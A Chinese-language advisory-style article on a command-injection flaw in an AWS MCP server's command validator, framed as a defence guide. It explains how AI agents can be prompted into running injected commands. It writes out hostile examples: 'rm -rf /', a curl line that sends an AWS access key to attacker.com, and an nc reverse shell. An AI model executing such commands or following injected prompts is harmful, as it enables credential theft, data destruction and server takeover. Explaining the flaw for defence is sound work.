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AWS MCP服务器命令注入漏洞深度解析与防御指南 ——如何让AI代理成为你的安全卫士而非攻击跳板

作为AI开发者,你是否曾因系统漏洞导致AI代理被恶意操控?本文将带你深入剖析AWS MCP服务器的命令注入漏洞,从漏洞原理到实战修复,手把手教你筑牢安全防线,避免成为黑客的“肉鸡”。


一、漏洞概述:AWS MCP服务器的致命弱点 AWS MCP(Model Context Protocol)服务器是连接AI模型与外部工具的核心组件,允许通过CLI(命令行接口)执行AWS CLI命令。然而,其validate_aws_command()函数存在严重缺陷:

  • 过滤不彻底:仅检查命令是否以aws开头、是否包含敏感词(如root),但未过滤Shell元字符(如;、|、$等),导致命令拼接漏洞。
  • 逻辑漏洞:即使命令以aws开头,仍可能通过子命令注入绕过验证(例如aws s3 ls; rm -rf /)。
  • 影响范围:所有通过Amazon Bedrock、某云Q CLI等工具构建的AI应用均受影响,攻击者可远程执行系统命令,窃取密钥、删除数据甚至接管服务器。

  • 二、漏洞利用:攻击者如何“黑”你的AI 攻击场景1:窃取AWS密钥 攻击者构造恶意提示,诱导AI执行命令:

    aws configure list-profiles; curl http://attacker.com?key=$(aws configure get aws_access_key_id)

    • 步骤解析:
    • aws configure list-profiles:触发合法命令,绕过首字符检查。
    • ;:分号注入,执行第二条命令。
    • curl:将AWS密钥发送到攻击者的服务器。 攻击场景2:系统级破坏 通过管道符|注入恶意命令:

    aws ec2 describe-instances | nc attacker.com 4444 -e /bin/bash

    • 后果:
      • nc建立反向Shell连接,攻击者直接控制服务器。
      • 删除关键文件、篡改配置,导致服务瘫痪。
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